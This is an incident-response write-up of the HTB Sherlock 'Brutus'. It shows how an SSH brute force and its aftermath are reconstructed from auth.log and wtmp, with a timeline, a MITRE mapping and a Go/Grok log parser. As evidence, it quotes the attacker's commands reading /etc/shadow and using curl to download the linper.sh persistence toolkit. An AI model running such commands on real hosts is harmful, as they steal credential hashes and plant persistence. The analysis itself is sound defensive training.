Skip to main content

Brutus - HTB Sherlock Writeup (DFIR / Log Analysis)

Brutus Banner

Challenge Description

A Confluence server was brute-forced via its SSH service. After gaining access, the attacker performed additional activities including privilege escalation, persistence (creating a new user), and downloading tools.
Difficulty: Very Easy
Category: DFIR / Log Analysis
Evidence Files: auth.log, wtmp

Initial Analysis Methodology

Before diving into the challenge questions, the goal is to understand what happened using only the evidence. This section walks through a repeatable approach you can apply to any unknown log set - the same steps, in the same order, every time. We have two artifacts from a Linux server. We don’t know yet who attacked it, how they got in, or what they did after. The methodology below will answer all three.

Step 1 - Understand the Artifacts: What are we working with?

Before running any commands, it helps to know what each file actually is. auth.log is a structured plaintext log. Every line follows this format:
<Date/Time> <Hostname> <Service>[<PID>]: <Message>
Example:
Mar 10 10:23:45 exampleserver sshd[19360]: Failed password for invalid user admin from 192.168.1.101 port 22 ssh2
Key services you’ll encounter: sshd, sudo, useradd, usermod, groupadd, passwd, chfn, systemd-logind, CRON. wtmp is a binary file. You cannot cat it. Use these tools:
# Basic login history
TZ=UTC last -f wtmp

# Full timestamps including logout time
TZ=UTC last -dF -f wtmp

# Alternative: raw dump
utmpdump wtmp

# Another option
TZ=UTC who -a wtmp
Important timezone note: wtmp timestamps are displayed using your local system timezone, not the timezone of the source system. Always prefix commands with TZ=UTC when doing forensic analysis to keep your timeline consistent across artifacts.
Note: If last -f wtmp gives a SQLite error on newer Kali versions, this is because newer systemd versions use a database format. The file you’re analyzing is the older binary format. Use utmpdump or who -a as alternatives.

Step 2 - Survey the Log: What services are recorded?

Before looking for anything specific, get a picture of what types of events are present. This prevents tunnel vision and surfaces activity you might not have expected.
awk '{print $5}' auth.log | sed 's/[\[\:].*//g' | sort | uniq -c | sort -n
How this works: awk '{print $5}' extracts the service name and PID field (e.g., sshd[1234]:), then sed strips the brackets and PID leaving just the service name, and sort | uniq -c | sort -n counts occurrences sorted numerically. You’ll see services like sshd, sudo, CRON, useradd, usermod, groupadd, passwd, chfn, systemd-logind. The presence of useradd and usermod immediately tells you that user account manipulation happened during this time window, worth investigating once we understand the entry point.

Step 3 - Check Login Sessions: Who logged in and from where?

With a picture of what services are present, the next step is to get a high-level view of login sessions. wtmp gives this to us instantly:
TZ=UTC last -f wtmp
This shows login sessions, source IPs, and session durations, giving you a high-level picture before reading individual log lines. Look for sessions from unexpected IPs, sessions that lasted an unusually short time (automated tooling), or sessions that lasted an unusually long time (interactive attacker activity).

Step 4 - Identify the Attack: Look for brute-force patterns

Now look at authentication events in auth.log. The key signal for a brute-force is a high volume of failed authentication attempts from a single IP in a short time window.
grep -oP ' \d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}' auth.log | sort | uniq -c | sort -n
One IP will stand out immediately with an order-of-magnitude more attempts than any other. A useful rule of thumb: “Could a human attempt to authenticate this often manually?” If the answer is no, it’s automated tooling. To read the actual failed attempts:
grep sshd auth.log | grep -v pam_unix | less

Step 5 - Trace Post-Exploitation: What did the attacker do after getting in?

Once you have identified the attacker’s IP and the compromised account, trace the events that follow. In auth.log, sudo, useradd, usermod, and passwd entries after a successful login from the attacker’s IP are all post-exploitation activity.
grep "Accepted" auth.log | grep "<attacker_ip>"
grep "useradd\|usermod\|sudo" auth.log
Cross-reference timestamps from auth.log with wtmp sessions to confirm which session each action belongs to.

Methodology Summary

Every time you approach an unknown log set, follow this sequence:
  1. Understand the artifacts: know what each file is, its format, and its limitations before running any commands
  2. Survey the log: identify which services appear to get a complete picture of recorded activity before focusing on anything specific
  3. Check login sessions: use wtmp for a high-level view of who logged in, from where, and for how long
  4. Identify the attack: look for statistical anomalies like IP addresses with disproportionate failed login counts
  5. Trace post-exploitation: follow the attacker’s session chronologically through useradd, sudo, usermod, and other privilege or persistence events
  6. Cross-reference timestamps: align auth.log and wtmp events to build a unified timeline and confirm which actions belong to which session

Attack Timeline

Time (UTC)EventSource
06:31:31Brute force begins from 65.2.161.68auth.log
06:31:40First successful root login (automated, immediate disconnect)auth.log
06:32:44Second successful root login (manual, session persists)auth.log
06:32:45Interactive terminal session establishedwtmp
06:34:18New user cyberjunkie created (UID 1002)auth.log
06:34:26Password set for cyberjunkieauth.log
06:35:15cyberjunkie added to sudo groupauth.log
06:37:24Root session 37 closedauth.log
06:37:34cyberjunkie logs inauth.log
06:37:57cyberjunkie runs sudo cat /etc/shadowauth.log
06:39:38cyberjunkie downloads linper.sh via sudo curlauth.log

Questions and Answers

Q1: What is the IP address used by the attacker to carry out a brute force attack?

Artifacts: auth.log
Method: Look for repeated “Failed password” and “Invalid user” entries from a single IP in rapid succession.
grep -oP ' \d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}' auth.log | sort | uniq -c | sort -n
The IP with 165 connection attempts in rapid succession (all within seconds of each other) stands out immediately. You can also filter sshd lines and exclude noise:
grep sshd auth.log | grep -v pam_unix | less
Answer: 65.2.161.68

Q2: The brute force was successful. What is the username of the compromised account?

Artifacts: auth.log
Method: Search for successful logins from the attacker’s IP.
grep "Accepted" auth.log | grep "65.2.161.68"
The first “Accepted password” from this IP is for the root account. Notice that the session closes in the same second; this is the brute-force tool confirming the credentials, not a manual login. When you see an accepted password followed by an immediate disconnect, that’s a strong indicator of automated tooling (e.g., Hydra, Medusa).
Answer: root

Q3: Identify the UTC timestamp when the attacker manually logged in (from wtmp).

Artifacts: wtmp
Method: The question specifically asks for the wtmp timestamp, not auth.log. There is an important distinction:
  • auth.log records when the password was accepted (authentication event)
  • wtmp records when the interactive terminal session was created (login event)
These can differ by a second or more. The attacker authenticated at 06:32:44 in auth.log, but the terminal session was established at 06:32:45 in wtmp.
TZ=UTC last -f wtmp
The second login from 65.2.161.68 (where the session lasts several minutes, unlike the instant brute-force disconnect) is the manual login.
Answer: 2024-03-06 06:32:45

Q4: What is the attacker’s SSH session number?

Artifacts: auth.log
Method: Session numbers are assigned by systemd-logind. Look at the log line immediately after the session is opened.
grep "systemd-logind" auth.log
Find the “New session” entry that corresponds to the attacker’s manual login time (06:32:44/45):
Mar  6 06:32:44 ... systemd-logind[411]: New session 37 of user root.
Answer: 37

Q5: What new user account did the attacker create for persistence?

Artifacts: auth.log
Method: Search for user creation events.
grep "useradd" auth.log
This shows a new user cyberjunkie was created. Then check for privilege escalation:
grep "usermod" auth.log
The attacker added cyberjunkie to the sudo group, granting full administrative privileges. This is a classic persistence technique: create a new account with elevated privileges so you can return later without needing to brute-force again.
Answer: cyberjunkie

Q6: What is the MITRE ATT&CK sub-technique ID for persistence via new account creation?

Artifacts: N/A (MITRE ATT&CK reference) The MITRE ATT&CK framework categorizes this under:
  • Tactic: Persistence
  • Technique: Create Account (T1136)
  • Sub-technique: Local Account (T1136.001)
Other sub-techniques include Domain Account (.002) and Cloud Account (.003), but since this was a local Linux account, it’s .001.
Answer: T1136.001

Q7: What time did the attacker’s first SSH session end?

Artifacts: auth.log
Method: Look for when session 37 was closed.
grep "session 37" auth.log
Find the “Session 37 logged out” or “Removed session 37” entry:
Mar  6 06:37:24 ... systemd-logind[411]: Session 37 logged out. Waiting for processes to exit.
Mar  6 06:37:24 ... systemd-logind[411]: Removed session 37.
Answer: 2024-03-06 06:37:24

Q8: What full command did the attacker execute using sudo from their backdoor account?

Artifacts: auth.log
Method: Although auth.log doesn’t normally track commands, sudo commands are logged because they require privilege elevation.
grep "sudo:" auth.log | grep "cyberjunkie"
Two sudo commands are visible. First, cat /etc/shadow to dump password hashes. Second, a curl download of a persistence toolkit. The full command:
COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
linper.sh is a Linux persistence toolkit, a bash script that automates various persistence techniques on compromised hosts.
Answer: /usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh

Beyond Root: Parsing auth.log with Grok

This section covers parsing the entire log into structured JSON using Grok patterns, the same approach used by SIEMs like Elastic and Splunk to process unstructured logs at scale.

Why Grok?

The problem with auth.log is that it’s unstructured. Different log messages have different formats, making awk field positions inconsistent:
Failed password for invalid user admin from 65.2.161.68 port 46392 ssh2    # username is field 11
Failed password for backup from 65.2.161.68 port 46512 ssh2                # username is field 9
Grok solves this by using named pattern matching to extract fields regardless of position. The syntax looks like:
%{PATTERN_NAME:field_name}
For example: %{IP:source_ip} matches an IP address into a field called source_ip, and %{WORD:username} matches a single word into username.

Tools

Grok Debugger (https://grokdebugger.com/): paste a log line, write your pattern, and see matched fields in real-time. Always iterate here before writing any code. go-grok (https://github.com/elastic/go-grok): a Go library by Elastic for parsing text with Grok patterns, with built-in pattern definitions matching what Logstash uses.

Building the Parser

Initialize the Go project:
mkdir go-brutus && cd go-brutus
go mod init go-brutus
go get github.com/elastic/go-grok
touch main.go
Every auth.log line starts with timestamp, hostname, and program. The built-in SYSLOGBASE2 pattern handles most of this; note that WORD won’t work for the program field because some programs contain dashes (e.g., systemd-logind), so use DATA instead:
%{SYSLOGBASE2} %{DATA:program}\[%{BASE10NUM:pid}\]:
Patterns for each log message type:
# SSH auth — (invalid user )? makes the phrase optional, matching both valid and invalid user lines
SSH_AUTH: %{LOG_PREFIX} %{WORD:result} %{WORD:login_type} for (invalid user )?%{DATA:username} from %{IP:source_ip} port %{BASE10NUM:client_port} %{WORD:protocol}

# systemd-logind sessions — trailing period anchors the optional "of user" clause
SYSTEMD_SESSION: %{LOG_PREFIX} %{WORD:status} session %{BASE10NUM:session_id}( of user %{USERNAME:username})?.

# useradd
USER_ADD: %{LOG_PREFIX} new user: name=%{USERNAME:username}, UID=%{BASE10NUM:uid}, GID=%{BASE10NUM:gid}, home=%{UNIXPATH:home_dir}, shell=%{UNIXPATH:shell}, from=%{UNIXPATH:from}

# sudo
SUDO_CMD: %{LOG_PREFIX} %{USERNAME:user} : TTY=%{WORD:tty} ; PWD=%{UNIXPATH:pwd} ; USER=%{USERNAME:tgt_user} ; COMMAND=%{GREEDYDATA:command}
The full Go program reads auth.log line by line, tries each pattern, and outputs matched lines as JSON. Once running, pipe through jq for flexible queries:
# Find all failed SSH attempts from attacker IP
go run main.go | grep "65.2.161.68" | jq '.'

# Show only successful logins
go run main.go | grep "Accepted" | jq '{source_ip, username, result}'

# Find new sessions
go run main.go | grep "session" | grep -v "CRON" | grep "New" | jq '.'

# Show sudo commands by cyberjunkie
go run main.go | grep "cyberjunkie" | jq '.user + " ran as " + .tgt_user + " with command: " + .command'

Why This Matters for Defenders

This Grok-based approach is how logs are processed at scale in real SOC environments:
  1. Raw logs come in from servers (auth.log, syslog, application logs)
  2. Grok rules parse them into structured fields
  3. Logstash/Fluentd ingests the structured data into Elasticsearch or Splunk
  4. Analysts query using KQL, Lucene, or SPL instead of grep/awk
Learning to write Grok patterns is essential for anyone working in defensive security, SOC analysis, or SIEM administration.

Skills Learned

  • Unix log analysis (auth.log and wtmp)
  • Brute-force detection patterns in SSH logs
  • Distinguishing automated vs manual logins from session duration
  • Tracking privilege escalation and persistence in auth.log
  • Timeline creation across multiple artifacts
  • MITRE ATT&CK framework mapping
  • Grok pattern creation for structured log parsing
  • Using go-grok (Elastic) for programmatic log analysis
  • Piping JSON output through jq for flexible querying